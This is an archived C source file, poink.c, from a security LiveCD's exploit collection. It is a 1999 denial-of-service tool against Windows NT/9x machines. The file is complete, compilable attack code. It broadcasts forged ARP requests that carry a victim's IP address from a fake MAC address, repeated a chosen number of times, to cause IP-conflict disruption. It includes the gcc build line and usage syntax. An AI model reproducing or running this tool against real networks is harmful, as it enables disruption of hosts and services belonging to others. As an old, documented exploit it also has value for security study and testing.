home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / poink.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  164 lines

  1. /*
  2.  *  $Id: poink.c,v 1.1.1.1 2005/02/12 19:50:41 loni Exp $
  3.  *
  4.  *  poink.c - NT/9x DOS attack
  5.  *
  6.  *  Code:
  7.  *  Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
  8.  *                         route|daemon9 <route@infonexus.com>
  9.  *  All rights reserved.
  10.  *
  11.  *  Original Idea:
  12.  *  Joel Jacobson (joel@mobila.cx)
  13.  *
  14.  *  This simple exploit was written as per the specification from Joel
  15.  *  Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
  16.  *
  17.  *  Needs libnet 0.99.
  18.  *  Currently:  http://lazy.accessus.net/~route/libnet
  19.  *  Soon:       http://www.packetfactory.net/
  20.  *
  21.  *  gcc poink.c -o poink -lnet
  22.  *
  23.  * Redistribution and use in source and binary forms, with or without
  24.  * modification, are permitted provided that the following conditions
  25.  * are met:
  26.  * 1. Redistributions of source code must retain the above copyright
  27.  *    notice, this list of conditions and the following disclaimer.
  28.  * 2. Redistributions in binary form must reproduce the above copyright
  29.  *    notice, this list of conditions and the following disclaimer in the
  30.  *    documentation and/or other materials provided with the distribution.
  31.  *
  32.  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
  33.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  34.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  35.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
  36.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  37.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  38.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  39.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  40.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  41.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  42.  * SUCH DAMAGE.
  43.  *
  44.  */
  45.  
  46. #include <libnet.h>
  47.  
  48. u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
  49. u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
  50.  
  51. int send_arp(struct link_int *, u_long, u_char *);
  52. void usage(u_char *);
  53.  
  54. int
  55. main(int argc, char *argv[])
  56. {
  57.   int c, amount;
  58.   char errbuf[256];
  59.   char *device = NULL;
  60.   struct link_int *l;
  61.   u_long ip;
  62.  
  63.   amount = 20;
  64.   while ((c = getopt(argc, argv, "n:i:")) != EOF)
  65.     {
  66.       switch (c)
  67.         {
  68.         case 'i':
  69.           device = optarg;
  70.           break;
  71.         case 'n':
  72.           amount = atoi(optarg);
  73.           break;
  74.         default:
  75.           exit(EXIT_FAILURE);
  76.         }
  77.     }
  78.  
  79.   if (!device)
  80.     {
  81.       usage(argv[0]);
  82.       exit(EXIT_FAILURE);
  83.     }
  84.  
  85.   if (argc <= optind)
  86.     {
  87.       usage(argv[0]);
  88.       exit(EXIT_FAILURE);
  89.     }
  90.   else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
  91.     {
  92.       fprintf(stderr, "Cannot resolve IP address\n");
  93.       exit(EXIT_FAILURE);
  94.     }
  95.  
  96.   l = libnet_open_link_interface(device, errbuf);
  97.   if (!l)
  98.     {
  99.       fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
  100.       exit(EXIT_FAILURE);
  101.     }
  102.  
  103.   while (amount--)
  104.     {
  105.       c = send_arp(l, ip, device);
  106.       if (c == -1)
  107.         {
  108.           /* bail on the first error */
  109.           break;
  110.         }
  111.     }
  112.   printf("\n");
  113.   return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
  114. }
  115.  
  116.  
  117. int
  118. send_arp(struct link_int *l, u_long ip, u_char *device)
  119. {
  120.   int n;
  121.   u_char *buf;
  122.  
  123.   if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
  124.     {
  125.       perror("libnet_init_packet memory:");
  126.       exit(EXIT_FAILURE);
  127.     }
  128.  
  129.   /*
  130.    *  Ethernet header
  131.    */
  132.   libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
  133.  
  134.   /*
  135.    *  ARP header
  136.    */
  137.   libnet_build_arp(ARPHRD_ETHER,
  138.                    ETHERTYPE_IP,
  139.                    6,
  140.                    4,
  141.                    ARPOP_REQUEST,
  142.                    enet_src,
  143.                    (u_char *)&ip,
  144.                    enet_dst,
  145.                    (u_char *)&ip,
  146.                    NULL,
  147.                    0,
  148.                    buf + ETH_H);
  149.  
  150.   n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);
  151.  
  152.   fprintf(stderr, ".");
  153.  
  154.   libnet_destroy_packet(&buf);
  155.   return (n);
  156. }
  157.  
  158.  
  159. void
  160. usage(u_char *name)
  161. {
  162.   fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
  163. }
  164. /*                    www.hack.co.za              [2000]*/